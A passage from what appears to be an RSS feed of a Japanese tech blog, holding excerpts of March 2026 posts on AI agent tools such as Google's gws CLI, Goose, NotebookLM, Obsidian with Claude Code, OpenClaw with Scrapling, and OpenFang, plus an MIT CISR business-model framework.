&lt;td&gt;ターミナル（CLI）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;右サイドバー&lt;/td&gt;
&lt;td&gt;AI チャット（質問・指示）&lt;/td&gt;
&lt;td&gt;Antigravity Agent パネル&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Claude Code はターミナルで CLI として実行し、Antigravity の Agent パネルで Gemini や他のモデルを補助的に使う構成です。&lt;/p&gt;</description></item><item><title>Google Workspace CLI（gws）— Drive・Gmail・Calendarを1コマンドで操作するAIエージェント対応ツール</title><link>https://hdknr.github.io/blogs/posts/2026/03/google-workspace-cligws-drivegmailcalendar%E3%82%921%E3%82%B3%E3%83%9E%E3%83%B3%E3%83%89%E3%81%A7%E6%93%8D%E4%BD%9C%E3%81%99%E3%82%8Bai%E3%82%A8%E3%83%BC%E3%82%B8%E3%82%A7%E3%83%B3%E3%83%88%E5%AF%BE%E5%BF%9C%E3%83%84%E3%83%BC%E3%83%AB/</link><pubDate>Thu, 05 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/google-workspace-cligws-drivegmailcalendar%E3%82%921%E3%82%B3%E3%83%9E%E3%83%B3%E3%83%89%E3%81%A7%E6%93%8D%E4%BD%9C%E3%81%99%E3%82%8Bai%E3%82%A8%E3%83%BC%E3%82%B8%E3%82%A7%E3%83%B3%E3%83%88%E5%AF%BE%E5%BF%9C%E3%83%84%E3%83%BC%E3%83%AB/</guid><description>&lt;h1 id="google-workspace-cligws-drivegmailcalendar-を-1-コマンドで操作する-ai-エージェント対応ツール"&gt;Google Workspace CLI（gws）— Drive・Gmail・Calendar を 1 コマンドで操作する AI エージェント対応ツール&lt;/h1&gt;
&lt;p&gt;&lt;a href="https://x.com/dify_base/status/2029358575022424529"&gt;@dify_base のポスト&lt;/a&gt;が話題になっています。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Google がついに「Workspace を操作できる CLI」を公開。名前は「gws」。Drive、Gmail、Calendar、Sheets、Docs / Chat / Admin 対応。AI エージェント対応で 100 以上の Skill 付き。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Google が公式にリリースした &lt;code&gt;gws&lt;/code&gt;（Google Workspace CLI）は、Google Workspace の全サービスを 1 つのコマンドラインツールから操作できるツールです。最大の特徴は Discovery Service による動的 API 構築と、100 以上の AI エージェントスキルの同梱です。Claude Code や Gemini CLI から MCP 経由で Google Workspace を操作する未来が、公式ツールとして実現しました。&lt;/p&gt;
&lt;h2 id="gws-とは何か--discovery-service-で動的に構築される-cli"&gt;gws とは何か — Discovery Service で動的に構築される CLI&lt;/h2&gt;
&lt;p&gt;従来の CLI ツールはコマンドをハードコードして出荷します。API が追加されればツールのアップデートが必要です。gws はこのアプローチを根本から変えています。&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;従来の CLI:
開発者がコマンドを定義 → ビルド → リリース → ユーザーがアップデート
gws:
起動時に Discovery Service を読み取り → コマンドツリーを動的構築
→ Google が API を追加すれば gws が自動的に対応
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Google Discovery Service は Google の全 API のスキーマ（リソース・メソッド・パラメータ）を機械可読な形式で公開しています。gws はこれを実行時に読み取り、2 フェーズでコマンドを構築します。&lt;/p&gt;</description></item><item><title>Goose 完全ガイド — Block が作った無料オープンソース AI エージェントの全貌</title><link>https://hdknr.github.io/blogs/posts/2026/03/goose-%E5%AE%8C%E5%85%A8%E3%82%AC%E3%82%A4%E3%83%89-block-%E3%81%8C%E4%BD%9C%E3%81%A3%E3%81%9F%E7%84%A1%E6%96%99%E3%82%AA%E3%83%BC%E3%83%97%E3%83%B3%E3%82%BD%E3%83%BC%E3%82%B9-ai-%E3%82%A8%E3%83%BC%E3%82%B8%E3%82%A7%E3%83%B3%E3%83%88%E3%81%AE%E5%85%A8%E8%B2%8C/</link><pubDate>Thu, 05 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/goose-%E5%AE%8C%E5%85%A8%E3%82%AC%E3%82%A4%E3%83%89-block-%E3%81%8C%E4%BD%9C%E3%81%A3%E3%81%9F%E7%84%A1%E6%96%99%E3%82%AA%E3%83%BC%E3%83%97%E3%83%B3%E3%82%BD%E3%83%BC%E3%82%B9-ai-%E3%82%A8%E3%83%BC%E3%82%B8%E3%82%A7%E3%83%B3%E3%83%88%E3%81%AE%E5%85%A8%E8%B2%8C/</guid><description>&lt;h1 id="goose-完全ガイド--block-が作った無料オープンソース-ai-エージェントの全貌"&gt;Goose 完全ガイド — Block が作った無料オープンソース AI エージェントの全貌&lt;/h1&gt;
&lt;p&gt;&lt;a href="https://block.xyz"&gt;Block（旧 Square）&lt;/a&gt;が開発するオープンソース AI エージェント &lt;strong&gt;Goose&lt;/strong&gt; は、GitHub で 32,400 スターを獲得し、Linux Foundation の Agentic AI Foundation（AAIF）の創設プロジェクトに選ばれた、エージェント AI 時代の基盤ソフトウェアです。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Claude Code costs up to $200 a month. Goose does the same thing for free.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;a href="https://venturebeat.com/infrastructure/claude-code-costs-up-to-usd200-a-month-goose-does-the-same-thing-for-free"&gt;VentureBeat の見出し&lt;/a&gt;が示すように、Goose は無料・ローカル実行・モデル非依存という特徴で、商用 AI コーディングツールの対抗馬として注目されています。Block 内部では従業員 12,000 人の &lt;strong&gt;60%&lt;/strong&gt; が毎週 Goose を使用し、開発時間 &lt;strong&gt;50〜75% 削減&lt;/strong&gt;を報告しています。&lt;/p&gt;
&lt;h2 id="goose-とは何か"&gt;Goose とは何か&lt;/h2&gt;
&lt;p&gt;Goose は「ローカルで動く、拡張可能な、オープンソースの AI エージェント」です。単なるコード補完ではなく、プロジェクトの構築・コード実行・デバッグ・ワークフローの統合を自律的に行います。&lt;/p&gt;
&lt;h3 id="基本情報"&gt;基本情報&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;項目&lt;/th&gt;
&lt;th&gt;内容&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;開発元&lt;/td&gt;
&lt;td&gt;Block, Inc.（旧 Square / Jack Dorsey 創業）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;公開日&lt;/td&gt;
&lt;td&gt;2025年1月28日&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;ライセンス&lt;/td&gt;
&lt;td&gt;Apache 2.0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;言語構成&lt;/td&gt;
&lt;td&gt;Rust 57.4%、TypeScript 34.9%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;GitHub Stars&lt;/td&gt;
&lt;td&gt;32,400+&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;コントリビューター&lt;/td&gt;
&lt;td&gt;409 人&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;リリース&lt;/td&gt;
&lt;td&gt;121 回以上（最新 v1.27.0）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;インターフェース&lt;/td&gt;
&lt;td&gt;CLI + デスクトップアプリ&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;対応 OS&lt;/td&gt;
&lt;td&gt;macOS / Linux / Windows&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;費用&lt;/td&gt;
&lt;td&gt;無料（LLM API 費用は別途）&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id="なぜ-block-が作ったのか"&gt;なぜ Block が作ったのか&lt;/h3&gt;
&lt;p&gt;Goose は Block のエンジニアがソフトウェア開発を効率化するために内部ツールとして開発したことに端を発します。Jack Dorsey はオープンソースの推進者として知られ、Goose は Block の新設オープンソースオフィスから公開された最初のプロジェクトです。&lt;/p&gt;</description></item><item><title>MIT CISR「AI時代のビジネスモデル」4象限フレームワーク — 2,378社12年調査が示す「成果志向 × 自律AI」への進化</title><link>https://hdknr.github.io/blogs/posts/2026/03/mit-cisrai%E6%99%82%E4%BB%A3%E3%81%AE%E3%83%93%E3%82%B8%E3%83%8D%E3%82%B9%E3%83%A2%E3%83%87%E3%83%AB4%E8%B1%A1%E9%99%90%E3%83%95%E3%83%AC%E3%83%BC%E3%83%A0%E3%83%AF%E3%83%BC%E3%82%AF-2378%E7%A4%BE12%E5%B9%B4%E8%AA%BF%E6%9F%BB%E3%81%8C%E7%A4%BA%E3%81%99%E6%88%90%E6%9E%9C%E5%BF%97%E5%90%91-%E8%87%AA%E5%BE%8Bai%E3%81%B8%E3%81%AE%E9%80%B2%E5%8C%96/</link><pubDate>Thu, 05 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/mit-cisrai%E6%99%82%E4%BB%A3%E3%81%AE%E3%83%93%E3%82%B8%E3%83%8D%E3%82%B9%E3%83%A2%E3%83%87%E3%83%AB4%E8%B1%A1%E9%99%90%E3%83%95%E3%83%AC%E3%83%BC%E3%83%A0%E3%83%AF%E3%83%BC%E3%82%AF-2378%E7%A4%BE12%E5%B9%B4%E8%AA%BF%E6%9F%BB%E3%81%8C%E7%A4%BA%E3%81%99%E6%88%90%E6%9E%9C%E5%BF%97%E5%90%91-%E8%87%AA%E5%BE%8Bai%E3%81%B8%E3%81%AE%E9%80%B2%E5%8C%96/</guid><description>&lt;h1 id="mit-cisrai時代のビジネスモデル4象限フレームワーク--2378社12年調査が示す成果志向--自律aiへの進化"&gt;MIT CISR「AI時代のビジネスモデル」4象限フレームワーク — 2,378社12年調査が示す「成果志向 × 自律AI」への進化&lt;/h1&gt;
&lt;p&gt;&lt;a href="https://x.com/MITSloan/status/2029242742849601551"&gt;@MITSloan（MIT Sloan School of Management）のポスト&lt;/a&gt;が、MIT CISR（Center for Information Systems Research）が開発した「AI時代のビジネスモデルフレームワーク」を紹介しています。2013年から2025年にかけて2,378社を調査した研究に基づき、AI時代のビジネスモデルが「成果志向」と「自律AI」の方向に進化していく道筋を4象限で示しています。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;With the rapid adoption of AI technologies, @MIT_CISR created a business model framework for the AI era that shows businesses evolving to become increasingly outcome oriented and enabled by autonomous AI.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2 id="mit-cisr-とは--it-経営研究の世界的権威"&gt;MIT CISR とは — IT 経営研究の世界的権威&lt;/h2&gt;
&lt;p&gt;MIT CISR は、MIT スローン経営大学院内に設置された情報システム研究センターです。1974年の設立以来、企業の IT 活用と経営戦略の関係を研究してきました。主任研究員の Peter Weill 氏と Stephanie Woerner 氏は、デジタルビジネスモデルの分類フレームワークで世界的に知られています。&lt;/p&gt;
&lt;p&gt;日本語訳書籍『デジタル・ビジネスモデル — 次世代企業になるための6つの問い』（日本経済新聞出版、野村総合研究所訳）は、日本企業の DX 戦略にも大きな影響を与えてきました。&lt;/p&gt;</description></item><item><title>NotebookLM 2026年完全ガイド — 9つのStudio機能とハルシネーションを構造的に防ぐ設計</title><link>https://hdknr.github.io/blogs/posts/2026/03/notebooklm-2026%E5%B9%B4%E5%AE%8C%E5%85%A8%E3%82%AC%E3%82%A4%E3%83%89-9%E3%81%A4%E3%81%AEstudio%E6%A9%9F%E8%83%BD%E3%81%A8%E3%83%8F%E3%83%AB%E3%82%B7%E3%83%8D%E3%83%BC%E3%82%B7%E3%83%A7%E3%83%B3%E3%82%92%E6%A7%8B%E9%80%A0%E7%9A%84%E3%81%AB%E9%98%B2%E3%81%90%E8%A8%AD%E8%A8%88/</link><pubDate>Thu, 05 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/notebooklm-2026%E5%B9%B4%E5%AE%8C%E5%85%A8%E3%82%AC%E3%82%A4%E3%83%89-9%E3%81%A4%E3%81%AEstudio%E6%A9%9F%E8%83%BD%E3%81%A8%E3%83%8F%E3%83%AB%E3%82%B7%E3%83%8D%E3%83%BC%E3%82%B7%E3%83%A7%E3%83%B3%E3%82%92%E6%A7%8B%E9%80%A0%E7%9A%84%E3%81%AB%E9%98%B2%E3%81%90%E8%A8%AD%E8%A8%88/</guid><description>&lt;h1 id="notebooklm-2026-年完全ガイド--9-つの-studio-機能とハルシネーションを構造的に防ぐ設計"&gt;NotebookLM 2026 年完全ガイド — 9 つの Studio 機能とハルシネーションを構造的に防ぐ設計&lt;/h1&gt;
&lt;p&gt;&lt;a href="https://x.com/ai_jitan"&gt;えーたん(@ai_jitan)&lt;/a&gt; 氏が「NotebookLM の全機能を、本気で全部書く。【2026 年完全版】」という note 記事を公開し、大きな反響を呼んでいます。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;保存必須！！ってか NotebookLM 使ってない人、マジで損してる。1 日の時間増えますよ。営業マンとかもまじで
— &lt;a href="https://x.com/via00via/status/2029047906888724689"&gt;@Via00Via&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;渾身の一撃。全 X 民は完全必読で保存必須
— &lt;a href="https://x.com/shintaro2575/status/2029054787459924012"&gt;@shintaro2575&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;元記事: &lt;a href="https://note.com/ai_jitan"&gt;NotebookLM の全機能を、本気で全部書く。【2026 年完全版】（note）&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;2026 年現在、NotebookLM は単なる「AI チャットツール」ではありません。音声・動画・スライド・マインドマップ・クイズを自動生成する &lt;strong&gt;9 つの Studio 機能&lt;/strong&gt;を備え、「自分のソースだけに基づいて回答する」というハルシネーション抑止の設計を持つ、文書分析・知識整理の実務ツールです。&lt;/p&gt;
&lt;h2 id="notebooklm-とは"&gt;NotebookLM とは&lt;/h2&gt;
&lt;p&gt;Google が提供する AI ツールで、&lt;strong&gt;自分がアップロードしたドキュメントだけを情報源として使う&lt;/strong&gt;のが最大の特徴です。ChatGPT や Claude が学習データ全体から回答を生成するのに対し、NotebookLM はアップロードされたソース外の情報を出力しません。&lt;/p&gt;
&lt;h3 id="基盤技術"&gt;基盤技術&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;項目&lt;/th&gt;
&lt;th&gt;内容&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;基盤モデル&lt;/td&gt;
&lt;td&gt;Gemini 2.5 Flash（2025 年 5 月移行）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;動作原理&lt;/td&gt;
&lt;td&gt;ソースグラウンディング（実質的に RAG）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;最大ソース数&lt;/td&gt;
&lt;td&gt;50 件/ノートブック（Pro 版は 300 件）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;対応形式&lt;/td&gt;
&lt;td&gt;PDF、Google ドキュメント、スライド、URL、テキスト、音声、YouTube&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Google のエンジニアは「RAG（Retrieval-Augmented Generation）」という用語を意図的に避け、「&lt;strong&gt;ソースグラウンディング&lt;/strong&gt;」と呼んでいます。動作原理は以下の通りです。&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;1. アップロードしたドキュメントをベクトル空間にインデックス化
2. 質問に対して最も関連性の高いチャンクを検索・取得
3. Gemini が該当チャンクを参照して回答を生成
4. レスポンスに各ソースへのインライン引用を付与
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;strong&gt;ソース外の情報を出力しない&lt;/strong&gt;設計のため、ハルシネーションリスクが構造的に低く抑えられます。これが法務・医療・内部資料分析など、信頼性が重要な業務で選ばれる理由です。&lt;/p&gt;</description></item><item><title>Obsidian × Claude Code で「AIセカンドブレイン」を構築する — コンテキストがプロンプトに勝つ時代</title><link>https://hdknr.github.io/blogs/posts/2026/03/obsidian-claude-code-%E3%81%A7ai%E3%82%BB%E3%82%AB%E3%83%B3%E3%83%89%E3%83%96%E3%83%AC%E3%82%A4%E3%83%B3%E3%82%92%E6%A7%8B%E7%AF%89%E3%81%99%E3%82%8B-%E3%82%B3%E3%83%B3%E3%83%86%E3%82%AD%E3%82%B9%E3%83%88%E3%81%8C%E3%83%97%E3%83%AD%E3%83%B3%E3%83%97%E3%83%88%E3%81%AB%E5%8B%9D%E3%81%A4%E6%99%82%E4%BB%A3/</link><pubDate>Thu, 05 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/obsidian-claude-code-%E3%81%A7ai%E3%82%BB%E3%82%AB%E3%83%B3%E3%83%89%E3%83%96%E3%83%AC%E3%82%A4%E3%83%B3%E3%82%92%E6%A7%8B%E7%AF%89%E3%81%99%E3%82%8B-%E3%82%B3%E3%83%B3%E3%83%86%E3%82%AD%E3%82%B9%E3%83%88%E3%81%8C%E3%83%97%E3%83%AD%E3%83%B3%E3%83%97%E3%83%88%E3%81%AB%E5%8B%9D%E3%81%A4%E6%99%82%E4%BB%A3/</guid><description>&lt;h1 id="obsidian--claude-code-でaiセカンドブレインを構築する--コンテキストがプロンプトに勝つ時代"&gt;Obsidian × Claude Code で「AIセカンドブレイン」を構築する — コンテキストがプロンプトに勝つ時代&lt;/h1&gt;
&lt;p&gt;&lt;a href="https://x.com/noahvnct"&gt;Noah Vincent さん（@noahvnct）&lt;/a&gt;が、Obsidian と Claude Code を組み合わせた「AI セカンドブレイン」の構築方法を公開し、大きな反響を集めています。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Steal My AI Second Brain Setup With Obsidian + Claude Code (For Free)&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;a href="https://x.com/noahvnct/status/2029222820257935369"&gt;https://x.com/noahvnct/status/2029222820257935369&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;645 いいね・76 RT・1,741 ブックマークを集めたこのポストが紹介するのは、Obsidian の Vault（保管庫）に Claude Code を住まわせ、あなたの知識・プロジェクト・好みを全て理解した AI パートナーを作る方法です。Noah さんの主張の核心は「&lt;strong&gt;Context beats prompts. Always.&lt;/strong&gt;（コンテキストはプロンプトに常に勝つ）」という一文に集約されています。&lt;/p&gt;
&lt;h2 id="セカンドブレインとは何か"&gt;セカンドブレインとは何か&lt;/h2&gt;
&lt;p&gt;「セカンドブレイン」は、Tiago Forte が提唱した個人知識管理の概念です。本、記事、動画、ポッドキャストから得た知識を&lt;strong&gt;外部の仕組み&lt;/strong&gt;に保存し、必要なときに取り出せるようにするシステムです。&lt;/p&gt;
&lt;h3 id="従来のセカンドブレインの課題"&gt;従来のセカンドブレインの課題&lt;/h3&gt;
&lt;p&gt;多くの人がノートアプリに情報を溜め込みますが、実際にはほとんど活用できていません。&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;従来のセカンドブレイン:
インプット（本・記事・動画）
→ ノートを取る
→ フォルダに保存
→ 忘れる
→ 検索しても見つからない
→ 同じ情報を再度インプット
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;問題は「保存」と「活用」の間にあるギャップです。ノートは増え続けるが、必要なときに必要な情報を引き出す仕組みがない。Noah さんはこの問題を「誰も解決していなかった問題」と呼んでいます。&lt;/p&gt;
&lt;h3 id="ai-セカンドブレインの解決策"&gt;AI セカンドブレインの解決策&lt;/h3&gt;
&lt;p&gt;Claude Code を Obsidian Vault の中で動かすことで、このギャップが埋まります。&lt;/p&gt;</description></item><item><title>OpenClaw × Scrapling — AIエージェントが「検出不能なスクレイピング」を手にした日</title><link>https://hdknr.github.io/blogs/posts/2026/03/openclaw-scrapling-ai%E3%82%A8%E3%83%BC%E3%82%B8%E3%82%A7%E3%83%B3%E3%83%88%E3%81%8C%E6%A4%9C%E5%87%BA%E4%B8%8D%E8%83%BD%E3%81%AA%E3%82%B9%E3%82%AF%E3%83%AC%E3%82%A4%E3%83%94%E3%83%B3%E3%82%B0%E3%82%92%E6%89%8B%E3%81%AB%E3%81%97%E3%81%9F%E6%97%A5/</link><pubDate>Thu, 05 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/openclaw-scrapling-ai%E3%82%A8%E3%83%BC%E3%82%B8%E3%82%A7%E3%83%B3%E3%83%88%E3%81%8C%E6%A4%9C%E5%87%BA%E4%B8%8D%E8%83%BD%E3%81%AA%E3%82%B9%E3%82%AF%E3%83%AC%E3%82%A4%E3%83%94%E3%83%B3%E3%82%B0%E3%82%92%E6%89%8B%E3%81%AB%E3%81%97%E3%81%9F%E6%97%A5/</guid><description>&lt;h1 id="openclaw--scrapling--aiエージェントが検出不能なスクレイピングを手にした日"&gt;OpenClaw × Scrapling — AIエージェントが「検出不能なスクレイピング」を手にした日&lt;/h1&gt;
&lt;p&gt;&lt;a href="https://x.com/RoundtableSpace"&gt;RoundtableSpace（@roundtablespace）&lt;/a&gt;が、OpenClaw の新しいスクレイピング能力を紹介するポストを投稿し、大きな反響を集めています。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;OpenClaw can now scrape any website without getting blocked - zero bot detection, bypasses Cloudflare natively, 774x faster than BeautifulSoup. No selector maintenance. No workarounds. Just data. THIS IS AN UNFAIR ADVANTAGE AND IT&amp;rsquo;S FULLY OPEN SOURCE.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;a href="https://x.com/RoundtableSpace/status/2029191380212257159"&gt;https://x.com/RoundtableSpace/status/2029191380212257159&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;5,059 いいね・424 RT・8,120 ブックマークを集めたこのポストが紹介しているのは、OpenClaw と &lt;strong&gt;Scrapling&lt;/strong&gt; というオープンソース Python ライブラリの組み合わせです。AIエージェントが Cloudflare の防御を突破し、検出されずにあらゆるウェブサイトからデータを取得できるという主張は、技術コミュニティで論争を引き起こしています。&lt;/p&gt;
&lt;h2 id="scrapling-とは何か"&gt;Scrapling とは何か&lt;/h2&gt;
&lt;p&gt;Scrapling は、GitHub で 22,400 スターを獲得しているオープンソースの Python スクレイピングフレームワークです。開発者は Karim Shoair（D4Vinci）で、「適応型ウェブスクレイピング」を謳っています。&lt;/p&gt;
&lt;h3 id="3つの-fetcher"&gt;3つの Fetcher&lt;/h3&gt;
&lt;p&gt;Scrapling の中核は、用途別に設計された3つの Fetcher です。&lt;/p&gt;</description></item><item><title>OpenClaw 22,000字解説のファクトチェック --- AIエージェントの民主化煽りと技術的実態の分離</title><link>https://hdknr.github.io/blogs/posts/2026/03/openclaw-22000%E5%AD%97%E8%A7%A3%E8%AA%AC%E3%81%AE%E3%83%95%E3%82%A1%E3%82%AF%E3%83%88%E3%83%81%E3%82%A7%E3%83%83%E3%82%AF---ai%E3%82%A8%E3%83%BC%E3%82%B8%E3%82%A7%E3%83%B3%E3%83%88%E3%81%AE%E6%B0%91%E4%B8%BB%E5%8C%96%E7%85%BD%E3%82%8A%E3%81%A8%E6%8A%80%E8%A1%93%E7%9A%84%E5%AE%9F%E6%85%8B%E3%81%AE%E5%88%86%E9%9B%A2/</link><pubDate>Thu, 05 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/openclaw-22000%E5%AD%97%E8%A7%A3%E8%AA%AC%E3%81%AE%E3%83%95%E3%82%A1%E3%82%AF%E3%83%88%E3%83%81%E3%82%A7%E3%83%83%E3%82%AF---ai%E3%82%A8%E3%83%BC%E3%82%B8%E3%82%A7%E3%83%B3%E3%83%88%E3%81%AE%E6%B0%91%E4%B8%BB%E5%8C%96%E7%85%BD%E3%82%8A%E3%81%A8%E6%8A%80%E8%A1%93%E7%9A%84%E5%AE%9F%E6%85%8B%E3%81%AE%E5%88%86%E9%9B%A2/</guid><description>&lt;h1 id="openclaw-22000字解説のファクトチェック--aiエージェントの民主化煽りと技術的実態の分離"&gt;OpenClaw 22,000字解説のファクトチェック &amp;mdash; 「AIエージェントの民主化」煽りと技術的実態の分離&lt;/h1&gt;
&lt;p&gt;&lt;a href="https://x.com/unikoukokun/status/2029418402398588949"&gt;@unikoukokun 氏が X で投稿&lt;/a&gt;した、OpenClaw に関する約 22,000 字の長文解説が話題になっています。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;OpenClawがなぜ凄いか。ClaudeCodeで充分じゃね？という人向け&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;「AIエージェントの民主化」「1人で1,000人分の生産性」「100席の椅子取りゲーム」&amp;mdash;強烈な表現で OpenClaw の導入を訴える記事です。技術的な情報と煽り的な主張が混在しているため、本記事では&lt;strong&gt;ファクトチェック&lt;/strong&gt;を行い、正確な情報と誇張を分離します。&lt;/p&gt;
&lt;h2 id="元記事の概要"&gt;元記事の概要&lt;/h2&gt;
&lt;p&gt;ユニコ氏の記事は、OpenClaw を以下の観点から解説しています。&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;元記事の主要な主張:
1. OpenClaw は「AIエージェントの民主化」:
ローカル実行の分散型 AI エージェント
Manus（中央集権型）との構造的な違い
2. 3 つの技術的優位性:
外部サービス連携（23+ プラットフォーム）
セッション横断型メモリー（Memory MD）
ブラウザユース（Browser Use）
3. ビジネスへのインパクト:
フリーランスの武器、中小企業の DX ツール
1 人で 1,000 人分の生産性
4. Claude Code との使い分け:
「作る」時は Claude Code、「使う・動かす」時は OpenClaw
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;全体で約 22,000 字、13 セクション以上の大作です。技術解説としての価値がある一方、煽り的な表現も多く含まれています。&lt;/p&gt;
&lt;h2 id="ファクトチェック-7-つの主要な主張を検証"&gt;ファクトチェック: 7 つの主要な主張を検証&lt;/h2&gt;
&lt;h3 id="主張-1-github-スター数-247000-超フォーク数-47700-超"&gt;主張 1: GitHub スター数 247,000 超、フォーク数 47,700 超&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;判定&lt;/th&gt;
&lt;th&gt;概ね正しい（記事時点の数値）&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;記事の数値は 2026 年 2 月下旬時点のものとして妥当です。2026 年 3 月時点では&lt;strong&gt;スター数 263,000 超、フォーク数 50,400 超&lt;/strong&gt;にまで成長しており、React を抜いて GitHub の最もスターの多いソフトウェアプロジェクトとなっています。&lt;/p&gt;</description></item><item><title>OpenFang × Rust製シングルバイナリ「エージェントOS」のHandsアーキテクチャと自律型AI設計</title><link>https://hdknr.github.io/blogs/posts/2026/03/openfang-rust%E8%A3%BD%E3%82%B7%E3%83%B3%E3%82%B0%E3%83%AB%E3%83%90%E3%82%A4%E3%83%8A%E3%83%AA%E3%82%A8%E3%83%BC%E3%82%B8%E3%82%A7%E3%83%B3%E3%83%88os%E3%81%AEhands%E3%82%A2%E3%83%BC%E3%82%AD%E3%83%86%E3%82%AF%E3%83%81%E3%83%A3%E3%81%A8%E8%87%AA%E5%BE%8B%E5%9E%8Bai%E8%A8%AD%E8%A8%88/</link><pubDate>Thu, 05 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/openfang-rust%E8%A3%BD%E3%82%B7%E3%83%B3%E3%82%B0%E3%83%AB%E3%83%90%E3%82%A4%E3%83%8A%E3%83%AA%E3%82%A8%E3%83%BC%E3%82%B8%E3%82%A7%E3%83%B3%E3%83%88os%E3%81%AEhands%E3%82%A2%E3%83%BC%E3%82%AD%E3%83%86%E3%82%AF%E3%83%81%E3%83%A3%E3%81%A8%E8%87%AA%E5%BE%8B%E5%9E%8Bai%E8%A8%AD%E8%A8%88/</guid><description>&lt;h1 id="openfang--rust-製シングルバイナリのエージェント-osが再定義する自律型-ai-の設計"&gt;OpenFang &amp;mdash; Rust 製シングルバイナリの「エージェント OS」が再定義する自律型 AI の設計&lt;/h1&gt;
&lt;p&gt;&lt;a href="https://x.com/mikefutia/status/2029220162818453968"&gt;@mikefutia 氏が X で紹介&lt;/a&gt;した OpenFang v0.3.7 のリリースが注目を集めています。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;OpenFang v0.3.7 is out! here&amp;rsquo;s everything since v0.3.3&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;a href="https://github.com/RightNow-AI/openfang"&gt;OpenFang&lt;/a&gt; は RightNow AI の創設者 Jaber 氏が開発する、&lt;strong&gt;Rust で一から構築されたオープンソースのエージェントオペレーティングシステム&lt;/strong&gt;です。チャットボットフレームワークではなく、自律的にタスクを実行する「エージェント OS」を標榜しています。2026 年 2 月 24 日の公開から 4 日で GitHub スター 4,037 を獲得し、パーソナル AI エージェント領域で最速級の立ち上がりを見せました。&lt;/p&gt;
&lt;p&gt;本記事では、OpenFang のアーキテクチャ、独自の「Hands」機構、Python 製フレームワークとの構造的な違いを技術的に解説します。&lt;/p&gt;
&lt;h2 id="なぜエージェント-osなのか"&gt;なぜ「エージェント OS」なのか&lt;/h2&gt;
&lt;h3 id="チャットボットフレームワークとの違い"&gt;チャットボットフレームワークとの違い&lt;/h3&gt;
